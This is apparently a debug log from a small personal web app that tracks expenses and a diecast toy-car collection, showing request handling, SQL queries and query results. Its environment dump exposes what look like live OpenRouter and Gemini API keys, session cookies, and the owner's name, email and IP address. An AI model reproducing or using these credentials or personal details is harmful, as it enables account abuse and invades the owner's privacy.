  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T07:13:29.488Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T07:13:34.791Z server-connect:router Serving templateView /diecast
2026-02-04T07:13:34.791Z server-connect:app Executing action step identify
2026-02-04T07:13:34.791Z server-connect:app options: { provider: 'security' }
2026-02-04T07:13:34.791Z server-connect:output identity: 1
2026-02-04T07:13:34.791Z server-connect:app Executing action step restrict
2026-02-04T07:13:34.791Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:13:34.792Z server-connect:output restrict: undefined
2026-02-04T07:13:34.792Z server-connect:router Render template diecast
2026-02-04T07:13:34.792Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T07:13:35.080Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:13:35.081Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:13:35.082Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:13:35.082Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:13:35.083Z server-connect:app Executing action step identify
2026-02-04T07:13:35.083Z server-connect:app options: { provider: 'security' }
2026-02-04T07:13:35.083Z server-connect:output identity: 1
2026-02-04T07:13:35.083Z server-connect:app Executing action step restrict
2026-02-04T07:13:35.083Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:13:35.083Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T07:13:35.084Z server-connect:output restrict: undefined
2026-02-04T07:13:35.084Z server-connect:app Executing action step select
2026-02-04T07:13:35.084Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:13:35.084Z server-connect:app Executing action step identify
2026-02-04T07:13:35.084Z server-connect:app options: { provider: 'security' }
2026-02-04T07:13:35.084Z server-connect:output identity: 1
2026-02-04T07:13:35.084Z server-connect:app Executing action step restrict
2026-02-04T07:13:35.084Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:13:35.085Z server-connect:app Executing action step identify
2026-02-04T07:13:35.085Z server-connect:app options: { provider: 'security' }
2026-02-04T07:13:35.085Z server-connect:output identity: 1
2026-02-04T07:13:35.085Z server-connect:app Executing action step restrict
2026-02-04T07:13:35.085Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:13:35.086Z server-connect:output restrict: undefined
2026-02-04T07:13:35.086Z server-connect:app Executing action step select
2026-02-04T07:13:35.086Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:13:35.086Z server-connect:app Executing action step identify
2026-02-04T07:13:35.086Z server-connect:app options: { provider: 'security' }
2026-02-04T07:13:35.086Z server-connect:output identity: 1
2026-02-04T07:13:35.086Z server-connect:app Executing action step restrict
2026-02-04T07:13:35.086Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:13:35.087Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T07:13:35.088Z server-connect:app Executing action step identify
2026-02-04T07:13:35.088Z server-connect:app options: { provider: 'security' }
2026-02-04T07:13:35.088Z server-connect:output identity: 1
2026-02-04T07:13:35.088Z server-connect:app Executing action step restrict
2026-02-04T07:13:35.088Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:13:35.089Z server-connect:output restrict: undefined
2026-02-04T07:13:35.089Z server-connect:app Executing action step paged
2026-02-04T07:13:35.089Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:13:35.090Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T07:13:35.091Z server-connect:output restrict: undefined
2026-02-04T07:13:35.091Z server-connect:app Executing action step select
2026-02-04T07:13:35.091Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:13:35.092Z server-connect:output restrict: undefined
2026-02-04T07:13:35.092Z server-connect:app Executing action step select
2026-02-04T07:13:35.092Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:13:35.093Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T07:13:35.094Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T07:13:35.094Z server-connect:app Executing action step select
2026-02-04T07:13:35.094Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:13:35.095Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T07:13:35.095Z server-connect:app Executing action step select
2026-02-04T07:13:35.095Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:13:35.095Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T07:13:35.097Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
